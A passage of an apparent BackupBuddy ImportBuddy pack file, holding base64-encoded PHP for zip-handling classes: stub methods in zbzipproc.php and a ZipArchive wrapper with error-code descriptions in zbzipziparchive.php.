0b3J5IHVzaW5nIHRoZSBiZXN0IHVuemlwIG1ldGhvZHMgcG9zc2libGUuCgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nCQkkemlwX2ZpbGUJCQkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBmaWxlIHRvIGV4dHJhY3QgZnJvbS4KCQkgKglAcGFyYW0Jc3RyaW5nCQkkZGVzdGluYXRpb25fZGlyZWN0b3J5CQlGdWxsIGRpcmVjdG9yeSBwYXRoIHRvIGV4dHJhY3QgaW50by4KCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIG90aGVyd2lzZQoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBleHRyYWN0X2dlbmVyaWNfZnVsbCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycpIHsKCQkKCQkJLy8gVGhpcyBzaG91bGQgbmV2ZXIgYmUgY2FsbGVkIGJ1dCBqdXN0IGluIGNhc2UgcmV0dXJuIGZhbHNlIHNpbGVudGx5CgkJCS8vcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGhpcy0+Z2V0X21ldGhvZF90YWcoKSAuIF9fKCcgbWV0aG9kIGlzIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkIGZvciB1bmFyY2hpdmluZy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoKCQkvKioKCQkgKglleHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlhcnJheQkJJGl0ZW1zCQkJCQkJTWFwcGluZyBvZiB3aGF0IHRvIGV4dHJhY3QgYW5kIHRvIHdoYXQKCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MgKGFsbCBleHRyYWN0aW9ucyBzdWNjZXNzZnVsKSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycsICRpdGVtcyApIHsKCQkKCQkJLy8gU2hvdWxkIG5ldmVyIGdldCBoZXJlCgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWZpbGVfZXhpc3RzKCkKCQkgKgkKCQkgKglUZXN0cyB3aGV0aGVyIGEgZmlsZSAod2l0aCBwYXRoKSBleGlzdHMgaW4gdGhlIGdpdmVuIHppcCBmaWxlCgkJICoJSWYgbGVhdmVfb3BlbiBpcyB0cnVlIHRoZW4gdGhlIHppcCBvYmplY3Qgd2lsbCBiZSBsZWZ0IG9wZW4gZm9yIGZhc3RlciBjaGVja2luZyBmb3Igc3Vic2VxdWVudCBmaWxlcyB3aXRoaW4gdGhpcyB6aXAKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwX2ZpbGUJCVRoZSB6aXAgZmlsZSB0byBjaGVjawoJCSAqCUBwYXJhbQkJc3RyaW5nCSRsb2NhdGVfZmlsZQlUaGUgZmlsZSB0byB0ZXN0IGZvcgoJCSAqCUBwYXJhbQkJYm9vbAkkbGVhdmVfb3BlbgkJT3B0aW9uYWw6IFRydWUgaWYgdGhlIHppcCBmaWxlIHNob3VsZCBiZSBsZWZ0IG9wZW4KCQkgKglAcmV0dXJuCQlib29sL2FycmF5CQkJCVRydWUgaWYgdGhlIGZpbGUgaXMgZm91bmQgaW4gdGhlIHppcCBhbmQgZmFsc2UgaWYgbm90LCBhcnJheSBmb3Igb3RoZXIgcHJvYmxlbQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUsICRsb2NhdGVfZmlsZSwgJGxlYXZlX29wZW4gPSBmYWxzZSApIHsKCQkKCQkJLy8gVGhpcyBzaG91bGQgbmV2ZXIgYmUgY2FsbGVkIGJ1dCBqdXN0IGluIGNhc2UgcmV0dXJuIGZhbHNlIHNpbGVudGx5CgkJCS8vcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGhpcy0+Z2V0X21ldGhvZF90YWcoKSAuIF9fKCcgbWV0aG9kIGlzIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkIGZvciBhcmNoaXZlIGZpbGUgY2hlY2tpbmcuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQlyZXR1cm4gYXJyYXkoIDEsICJNZXRob2QgZG9lcyBub3Qgc3VwcG9ydCBhY3Rpb24iICk7CgoJCX0KCQkKCQkvKglnZXRfZmlsZV9saXN0KCkKCQkgKgkKCQkgKglHZXQgYW4gYXJyYXkgb2YgYWxsIGZpbGVzIGluIGEgemlwIGZpbGUgd2l0aCBzb21lIGZpbGUgcHJvcGVydGllcy4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHppcF9maWxlCVRoZSBmaWxlIHRvIGxpc3QgdGhlIGNvbnRlbnQgb2YKCQkgKglAcmV0dXJuCQlib29sfGFycmF5CQkJCWZhbHNlIG9uIGZhaWx1cmUsIG90aGVyd2lzZSBhcnJheSBvZiBmaWxlIHByb3BlcnRpZXMgKG1heSBiZSBlbXB0eSkKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2ZpbGVfbGlzdCggJHppcF9maWxlICkgewoJCQoJCQkvLyBUaGlzIHNob3VsZCBuZXZlciBiZSBjYWxsZWQgYnV0IGp1c3QgaW4gY2FzZSByZXR1cm4gZmFsc2Ugc2lsZW50bHkKCQkJLy9wYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUaGUgJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR0aGlzLT5nZXRfbWV0aG9kX3RhZygpIC4gX18oJyBtZXRob2QgaXMgbm90IGN1cnJlbnRseSBzdXBwb3J0ZWQgZm9yIGFyY2hpdmUgZmlsZSBsaXN0aW5nLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJcmV0dXJuIGZhbHNlOwoKCQl9CgkJCgkJLyoJc2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byBzZXQgY29tbWVudCBvbi4KCQkgKglAcGFyYW0JCXN0cmluZwkJCSRjb21tZW50CQlDb21tZW50IHRvIGFwcGx5IHRvIGFyY2hpdmUuCgkJICoJQHJldHVybgkJYm9vbHxzdHJpbmcJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIGVycm9yIG1lc3NhZ2Ugb3RoZXJ3aXNlLgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBzZXRfY29tbWVudCggJHppcF9maWxlLCAkY29tbWVudCApIHsKCQkKCQkJLy8gVGhpcyBzaG91bGQgbmV2ZXIgYmUgY2FsbGVkIGJ1dCBqdXN0IGluIGNhc2UgcmV0dXJuIGZhbHNlIHNpbGVudGx5CgkJCS8vcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGhpcy0+Z2V0X21ldGhvZF90YWcoKSAuIF9fKCcgbWV0aG9kIGlzIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkIGZvciBhcmNoaXZlIGNvbW1lbnQgc2V0dGluZy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiAiTWV0aG9kIGRvZXMgbm90IHN1cHBvcnQgYWN0aW9uIjsKCgkJfQoKCQkvKglnZXRfY29tbWVudCgpCgkJICoJCgkJICoJUmV0cmlldmUgYXJjaGl2ZSBjb21tZW50LgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gcmV0cmlldmUgY29tbWVudCBmcm9tLgoJCSAqCUByZXR1cm4JCWJvb2x8c3RyaW5nCQkJCQlmYWxzZSBvbiBmYWlsdXJlLCBaaXAgY29tbWVudCBvdGhlcndpc2UuCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9jb21tZW50KCAkemlwX2ZpbGUgKSB7CgkJCgkJCS8vIFRoaXMgc2hvdWxkIG5ldmVyIGJlIGNhbGxlZCBidXQganVzdCBpbiBjYXNlIHJldHVybiBmYWxzZSBzaWxlbnRseQoJCQkvL3BiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RoZSAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHRoaXMtPmdldF9tZXRob2RfdGFnKCkgLiBfXygnIG1ldGhvZCBpcyBub3QgY3VycmVudGx5IHN1cHBvcnRlZCBmb3IgYXJjaGl2ZSBjb21tZW50IHJldHJpZXZhbC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiBmYWxzZTsKCgkJfQoJCQoJfSAvLyBlbmQgcGx1Z2luYnVkZHlfemJ6aXBwcm9jIGNsYXNzLgkKCQp9Cj8+Cg==
###PACKDATA,FILE_END,/lib/zipbuddy/zbzipproc.php,importbuddy/lib/zipbuddy/zbzipproc.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzipziparchive.php,importbuddy/lib/zipbuddy/zbzipziparchive.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piemlwemlwYXJjaGl2ZSBDbGFzcwogKgogKiAgRXh0ZW5kcyB0aGUgemlwIGNhcGFiaWxpdHkgY29yZSBjbGFzcyB3aXRoIHByb2Mgc3BlY2lmaWMgY2FwYWJpbGl0eQogKgkKICoJVmVyc2lvbjogMS4wLjAKICoJQXV0aG9yOgogKglBdXRob3IgVVJJOgogKgogKglAcGFyYW0JCSRwYXJlbnQJCW9iamVjdAkJT3B0aW9uYWwgcGFyZW50IG9iamVjdCB3aGljaCBjYW4gcHJvdmlkZSBmdW5jdGlvbnMgZm9yIHJlcG9ydGluZywgZXRjLgogKglAcmV0dXJuCQludWxsCiAqCiAqLwppZiAoICFjbGFzc19leGlzdHMoICJwbHVnaW5idWRkeV96YnppcHppcGFyY2hpdmUiICkgKSB7CgoJLyoqCgkgKglwbHVnaW5idWRkeV9aaXBBcmNoaXZlIENsYXNzCgkgKgoJICoJV3JhcHBlciBmb3IgWmlwQXJjaGl2ZSB0byBoYW5kbGUgZXJyb3Igc2l0dWF0aW9ucyBhbmQgcHJvdmlkZSBhZGRpdGlvbmFsIGZ1bmN0aW9ucwoJICoKCSAqCUBwYXJhbQlub25lCgkgKglAcmV0dXJuCW51bGwKCSAqCgkgKi8KCWNsYXNzIHBsdWdpbmJ1ZGR5X1ppcEFyY2hpdmUgewoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgY3JlYXRlZCBaaXBBcmNoaXZlIG9iamVjdCBpZiBpdCBjYW4gYmUgY3JlYXRlZAogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgJF96YSAJb2JqZWN0CiAgICAgICAgICovCgkJcHJpdmF0ZSAkX3phID0gTlVMTDsKCQkKCQkvKioKCQkgKglfX2NvbnN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCQkgKglUT0RPOiBDb25zaWRlciBoYXZpbmcgYSAic3VwcHJlc3Mgd2FybmluZ3MiIHBhcmFtZXRlciB0byBkZXRlcm1pbmUgd2hldGhlciBtZXRob2RzCgkJICoJc2hvdWxkIGJlIGludm9rZWQgd2l0aCB3YXJuaW5ncyBzdXBwcmVzc2VkIG9yIG5vdC4gRm9yIGlzX2F2YWlsYWJsZSgpIHVzYWdlIHdlIHdvdWxkCgkJICoJd2FudCB0byBzbyBhcyBub3QgdG8gcG90ZW50aWFsbHkgZmxvb2QgdGhlIFBIUCBlcnJvciBsb2cuIEZvciBvdGhlciBmdW5jdGlvbnMgdGhhdAoJCSAqCWFyZSBub3QgY2FsbGVkIGZyZXF1ZW50bHkgd2UgbWlnaHQgbm90IHdhbnQgdG8gc3VwcHJlc3MgdGhlIHdhcm5pbmdzLgoJCSAqCQoJCSAqCUBwYXJhbQkJbm9uZQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsKCQkJCgkJCWlmICggY2xhc3NfZXhpc3RzKCAnWmlwQXJjaGl2ZScsIGZhbHNlICkgKSB7CgkJCQoJCQkJLy8gSXQncyBhdmFpbGFibGUgc28gY3JlYXRlIHRoZSBwcml2YXRlIGluc3RhbmNlCgkJCQkkdGhpcy0+X3phID0gbmV3IFppcEFyY2hpdmUoKTsKCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIE5vdCBhdmFpbGFibGUgc28gdGhyb3cgdGhlIGV4Y2VwdGlvbiBmb3IgdGhlIGNhbGxlciB0byBoYW5kbGUKCQkJCXRocm93IG5ldyBFeGNlcHRpb24oICdaaXBBcmNoaXZlIGNsYXNzIGRvZXMgbm90IGV4aXN0LicgKTsKCQkJCgkJCX0KCQkJCgkJCXJldHVybjsKCQkKCQl9CgkJCgkJLyoqCgkJICoJX19kZXN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBkZXN0cnVjdG9yLgoJCSAqCQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2Rlc3RydWN0KCkgewoJCQoJCQlpZiAoIE5VTEwgIT0gJHRoaXMtPl96YSApIHsgdW5zZXQgKCAkdGhpcy0+X3phICk7IH0KCQkJCgkJCXJldHVybjsKCQkKCQl9CgkJCgkJLyoqCgkJICoJX19jYWxsKCkKCQkgKgkKCQkgKglNYWdpYyBtZXRob2QgaW50ZXJjZXB0aW5nIGNhbGxzIHRvIHVua25vd24gbWV0aG9kcy4gVGhpcyBhbGxvd3MgdXMgdG8gaW50ZXJjZXB0CgkJICoJYWxsIG1ldGhvZCBjYWxscyBhbmQgYWRkIGFkZGl0aW9uYWwgcHJvY2Vzc2luZwoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSRtZXRob2QJCVRoZSBuYW1lIG9mIHRoZSBpbnRlcmNlcHRlZCBtZXRob2QKCQkgKglAcGFyYW0JCWFycmF5CSRhcmd1bWVudHMJQXJyYXkgb2YgdGhlIGFyZ3VtZW50cyBhc3NvY2lhdGVkIHdpdGggdGhlIG1ldGhvZCBjYWxsCgkJICoJQHJldHVybgkJbWl4ZWQJJHJlc3VsdAkJV2hhdGV2ZXIgdGhlIGludm9rZWQgd3JhcHBlciBtZXRob2QgY2FsbCByZXR1cm5zCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gX19jYWxsKCAkbWV0aG9kLCAkYXJndW1lbnRzICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCgkJCSRyZXN1bHQgPSBAY2FsbF91c2VyX2Z1bmNfYXJyYXkoIGFycmF5KCAkdGhpcy0+X3phLCAkbWV0aG9kICksICRhcmd1bWVudHMgKTsKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCQkKCQkvKioKCQkgKglfX2dldCgpCgkJICoJCgkJICoJTWFnaWMgbWV0aG9kIGludGVyY2VwdGluZyBjYWxscyB0byB1bmtub3duIHByb3BlcnRpZXMuIFRoaXMgbWVhbnMgd2UgaGF2ZSB0bwoJCSAqCXByb3ZpZGUgdGhlIHByb3BlcnRpZXMgb2YgdGhlIHdyYXBwZWQgb2JqZWN0IGJ1dCB0aGF0J3Mgb2sgYXMgdGhlcmUgYXJlbid0IG1hbnkuCgkJICoJTm90ZTogTWF5YmUgd2UgY2FuIGdldCB0aGUgb2JqZWN0IHByb3BlcnRpZXMgYW5kIGF1dG9tYXRlIHRoaXM/CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJG5hbWUJCVRoZSBuYW1lIG9mIHRoZSBwcm9wZXJ0eQoJCSAqCUByZXR1cm4JCW1peGVkCSRyZXN1bHQJCVdoYXRldmVyIHRoZSB3cmFwcGVkIG9iamVjdCBwcm9wZXJ0eSByZXR1cm5zCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gX19nZXQoICRuYW1lICkgewoJCQoJCQlzd2l0Y2ggKCAkbmFtZSApIHsKCQkJCgkJCQljYXNlICJjb21tZW50IjoKCQkJCQoJCQkJCSRyZXN1bHQgPSAkdGhpcy0+X3phLT5jb21tZW50OwoJCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICJudW1GaWxlcyI6CgkJCQkKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPl96YS0+bnVtRmlsZXM7CgkJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgImZpbGVuYW1lIjoKCQkJCQoJCQkJCSRyZXN1bHQgPSAkdGhpcy0+X3phLT5maWxlbmFtZTsKCQkJCQlicmVhazsKCQkJCQoJCQkJY2FzZSAic3RhdHVzIjoKCQkJCQoJCQkJCSRyZXN1bHQgPSAkdGhpcy0+X3phLT5zdGF0dXM7CgkJCQkJYnJlYWs7CgkJCQkJCgkJCQljYXNlICJzdGF0dXNTeXMiOgoJCQkJCgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5femEtPnN0YXR1c1N5czsKCQkJCQlicmVhazsKCQkJCQkKCQkJCWRlZmF1bHQ6CgkJCQkKCQkJCQkvLyBIbW0sIG5vdCBxdWl0ZSBzdXJlIHdoYXQgd2Ugc2hvdWxkIHJldHVybiBoZXJlLi4uCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCQoJCS8qKgoJCSAqCWVycm9ySW5mbygpCgkJICoJCgkJICoJVHJhbnNsYXRlIGEgWmlwQXJjaGl2ZSBlcnJvciBjb2RlIGludG8gYW4gaW5mb3JtYXRpdmUgc3RyaW5nIGRlc2NyaXB0aW9uCgkJICoJYW5kIHJldHVybnMgdGhlIHN0cmluZy4gQW4gZXJyb3IgbnVtYmVyIGNhbiBiZSBwYXNzZWQgaW4sIG90aGVyd2lzZSB3aWxsCgkJICoJZ2V0IHRoZSBzdGF0dXMgcHJvcGVydHkgYW5kIHVzZSB0aGF0IChpZiBub3QgaW5kaWNhdGluZyBubyBlcnJvcikgb3IgdGhlCgkJICoJc3RhdHVzU3lzIHByb3BlcnR5IGFuZCB1c2UgdGhhdCAoaWYgbm90IGluZGljYXRpbmcgbm8gZXJyb3IpLiBJbiB0aGUgY2FzZQoJCSAqCW9mIHRoZSBzdGF0dXNTeXMgcHJvcGVydHkgd2lsbCBnZXQgdGhlIGVycm9yIHN0cmluZyBmcm9tIHRoZSBnZXRTdGF0dXNTdHJpbmcoKQoJCSAqCW1ldGhvZCwgb3RoZXJ3aXNlIGZvciBzdGF0dXMgcHJvcGVydHkgb3IgcGFzc2VkIGluIHZhbHVlIHVzZSB0aGUgbWFwcGluZ3MKCQkgKgliZWxvdy4KCQkgKglOb3RlOiBUaGlzIGRvZXMgbWVhbiB0aGF0IGEgc3RhdHVzU3lzIGVycm9yIG5vIHNob3VsZCBub3QgYmUgcGFzc2VkIGluCgkJICoJcHJlc2VudGx5LiBJbiBmdXR1cmUgbWF5IGNob29zZSB0byB1c2UgYW4gb2Zmc2V0IG1hcHBpbmcgdG8gaGFuZGxlIHRoYXQuCgkJICoJCgkJICoJQHBhcmFtCQlpbnRlZ2VyCSRlcnJvcglPcHRpb25hbDogVGhlIGVycm9yIGNvZGUKCQkgKglAcGFyYW0JCWJvb2wJJGZ1bGwJT3B0aW9uYWw6IFRydWUgdG8gcHJvdmlkZSBhIG5hbWUvdmFsdWUvZGVzY3JpcHRpb24gc3RyaW5nCgkJICoJQHJldHVybgkJc3RyaW5nCQkJSW5mb3JtYXRpdmUgZXJyb3Igc3RyaW5nCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZXJyb3JJbmZvKCAkZXJyb3IgPSBQSFBfSU5UX01BWCwgJGZ1bGwgPSB0cnVlICkgewoJCQoJCQkvLyBHZXQgc3RhdHVzU3lzIHByb3BlcnR5IHZhbHVlIGluIGNhc2Ugd2UgbmVlZCBpdAoJCQkkZXJyb3Jfc3lzID0gJHRoaXMtPl96YS0+c3RhdHVzU3lzOwoJCQkKCQkJLy8gQ2hlY2sgd2hldGhlciB3ZSBoYXZlIGJlZW4gZ2l2ZW4gb3IgbmVlZCB0byBnZXQgYSBzdGF0dXMgdmFsdWUKCQkJaWYgKCBQSFBfSU5UX01BWCA9PSAkZXJyb3IpIHsKCQkJCgkJCQkvLyBObyBlcnJvciBudW1iZXIgcGFzc2VkIGluLCBsZXRzIGdldCBvbmUKCQkJCSRlcnJvciA9ICR0aGlzLT5femEtPnN0YXR1czsKCQkJCgkJCX0KCQkJCgkJCWlmICggKCBaSVBBUkNISVZFOjpFUl9PSyA9PSAkZXJyb3IgKSAmJiAoIDAgPCAkZXJyb3Jfc3lzICkgKSB7CgkJCQoJCQkJLy8gTm8gYmFzaWMgZXJyb3IgQU5EIHdlIGhhdmUgYSBzeXN0ZW0gZXJyb3IKCQkJCSRlcnJvcl9zdHJpbmcgPSAiWkxJQiIgLiAiKCIgLiAkZXJyb3Jfc3lzIC4gIikgOiAiIC4gJHRoaXMtPl96YS0+Z2V0U3RhdHVzU3RyaW5nKCk7CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCSRlcnJvcl9uYW1lID0gJyc7CgkJCQkkZXJyb3JfZGVzY3JpcHRpb24gPSAnJzsKCQkJCgkJCQkvLyBJdCdzIGVpdGhlciBhIGJhc2ljIGVycm9yIE9SIG5vIHN5c3RlbSBlcnJvcgoJCQkJLy8gV2UgY2FuIGNoZWNrIHRoZSBzeW1ib2xpYyB2YWx1ZXMKCQkJCXN3aXRjaCggKGludCkgJGVycm9yICkgewoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfT0s6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSUl9PSyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJObyBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfT1BFTjoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfT1BFTiI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDYW4ndCBvcGVuIGZpbGUiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX01FTU9SWToKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfTUVNT1JZIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIk1lbW9yeSBhbGxvY2F0aW9uIGZhaWx1cmUiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0VYSVNUUzoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJSX0VYSVNUUyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJGaWxlIGFscmVhZHkgZXhpc3RzIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9JTkNPTlM6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX0lOQ09OUyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJaaXAgYXJjaGl2ZSBpbmNvbnNpc3RlbnQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0lOVkFMOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9JTlZBTCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJJbnZhbGlkIGFyZ3VtZW50IjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9OT0VOVDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfTk9FTlQiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiTm8gc3VjaCBmaWxlIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9OT1pJUDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfTk9aSVAiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiTm90IGEgemlwIGFyY2hpdmUiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1JFQUQ6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1JFQUQiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiUmVhZCBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfU0VFSzoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfU0VFSyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJTZWVrIGVycm9yIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9NVUxUSURJU0s6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX01VTFRJRElTSyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJNdWx0aS1kaXNrIHppcCBhcmNoaXZlcyBub3Qgc3VwcG9ydGVkIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9SRU5BTUU6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1JFTkFNRSI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJSZW5hbWluZyB0ZW1wb3JhcnkgZmlsZSBmYWlsZWQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0NMT1NFOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9DTE9TRSI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDbG9zaW5nIHppcCBhcmNoaXZlIGZhaWxlZCI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfV1JJVEU6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1dSSVRFIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIldyaXRlIGVycm9yIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9DUkM6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX0NSQyI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDUkMgZXJyb3IiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1pJUENMT1NFRDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfWklQQ0xPU0VEIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIkNvbnRhaW5pbmcgemlwIGFyY2hpdmUgd2FzIGNsb3NlZCI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfVE1QT1BFTjoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfVE1QT1BFTiI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJGYWlsdXJlIHRvIGNyZWF0ZSB0ZW1wb3JhcnkgZmlsZSI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfWkxJQjoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfWkxJQiI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbi